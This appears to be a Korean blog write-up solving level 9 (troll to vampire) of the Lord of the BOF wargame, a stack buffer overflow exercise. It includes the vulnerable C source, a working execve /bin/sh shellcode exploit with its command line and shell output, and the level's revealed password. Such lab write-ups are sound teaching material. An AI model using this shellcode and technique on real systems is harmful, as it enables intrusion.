ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LEVEL9] (troll -> vampire) : check 0xbfff
    Wargame/LordOfTheBof (redhat) 2013. 6. 28. 16:08

    1. 문제 Source

    /*
            The Lord of the BOF : The Fellowship of the BOF
            - vampire
            - check 0xbfff
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    main(int argc, char *argv[])
    {
    	char buffer[40];
    
    	if(argc < 2){
    		printf("argv error\n");
    		exit(0);
    	}
    
    	if(argv[1][47] != '\xbf')
    	{
    		printf("stack is still your friend.\n");
    		exit(0);
    	}
    
    	// here is changed!
    	if(argv[1][46] == '\xff')
    	{
    		printf("but it's not forever\n");
    		exit(0);
    	}
    
    	strcpy(buffer, argv[1]); 
    	printf("%s\n", buffer);
    }
    

    우선 소스를 살펴보자.


    1. 인자의 개수(argc)는 2개 이상.

    2. argv[1][47]의 값은 \xbf 여야 한다.

    3. argv[1][46]의 값이 \xff면 프로그램 종료


    환경변수 제약이 사라졌고, buffer, argv[1]에 대한 초기화가 사라졌다 !

    하지만 특이한 검증이 추가되었는데 바로 3번, argv[1][46]의 값이 \xff 면 종료된다.

    현재까지 착실하게 문제를 푼 사람이라면 바로 느낄 수 있을것이다.

    그렇다. buffer, 환경변수, argv[1]등 모든 방법의 주소는 0xbf ff 로 시작했었다.


    즉, 제약이 없어져도 모두 못쓰는 셈이다.

    하지만 argc에 대한 검증이 if(argc != 2) 에서 if(argc < 2)로 변경되었는데, 이를 이용하자.


    2. argv[2]를 이용

    우선 아래의 2가지를 인지하자.


    1. Stack은 높은 주소에서 낮은 주소로 자란다.

    2. 2차원 포인터로 선언된 char *argv[] 는 숫자가 높은 인자부터 Stack에 저장된다.

    즉 argv[2]까지 입력할 시 argv[2], argv[1], argv[0] 순으로 Stack에 저장된다.


    고로 argv[2]에 엄청 많은 값을 집어넣게 되면 argv[1]이 들어갈 주소가 낮아진다는 뜻. 

    직접 코딩해서 한번 확인해보자.

    [troll@localhost troll]$ vi test.c

    main(int argc, char *argv[])
    {
    	printf("argv[0] : %#x\n", argv[0]);
    	printf("argv[1] : %#x\n", argv[1]);
    	printf("argv[2] : %#x\n", argv[2]);
    }
    

    [troll@localhost troll]$ gcc -o test test.c

    [troll@localhost troll]$ ./test `python -c "print 'A'*48"` `python -c "print 'BBBB'*20000"`

    argv[0] : 0xbffec3b1

    argv[1] : 0xbffec3b8

    argv[2] : 0xbffec3e9

    역시 주소가 0xbf fe 로 낮아졌다 !


    이제 shellcode를 삽입 할 argv[1]의 주소를 알아내야 한다. 원본을 복사하여 아래와 같이 수정하자

    [troll@localhost troll]$ cp vampire.c vampira.c

    [troll@localhost troll]$ vi vampira.c

    ...중략...
    	strcpy(buffer, argv[1]);
    	printf("%s\n", buffer);
    
    	printf("%#x\n", argv[1]); // <- 이 한줄을 추가
    }


    컴파일 후 실행한다.

    [troll@localhost troll]$ gcc -o vampira vampira.c

    [troll@localhost troll]$ ./vampira `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"` `python -c "print 'CCCC'*20000"`

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����

    0xbffec3b2

    Segmentation fault 

    낮은 주소의 argv[1]이 완성되었다. 이제 이것을 이용해 Exploit을 진행하자.


    3. Exploit

    사용할 shellcode는 아래와 같다. (총 25 Byte)

    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


    아래는 최종 구성이다.

    shellcode 

    NOP 

    SFP

    RET 

     25 Byte

    15 Byte

    4 Byte(NOP) 

    4 Byte 

     40 Byte


    [troll@localhost troll]$ bash2

    [troll@localhost troll]$ ./vampire `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + '\x90'*19 + '\xb2\xc3\xfe\xbf'"` `python -c "print 'CCCC'*20000"`

    1�Ph//shh/bin��PS��1Ұ

                         �����������������������

    bash$ my-pass

    euid = 509

    music world


    성공 !


Designed by Tistory.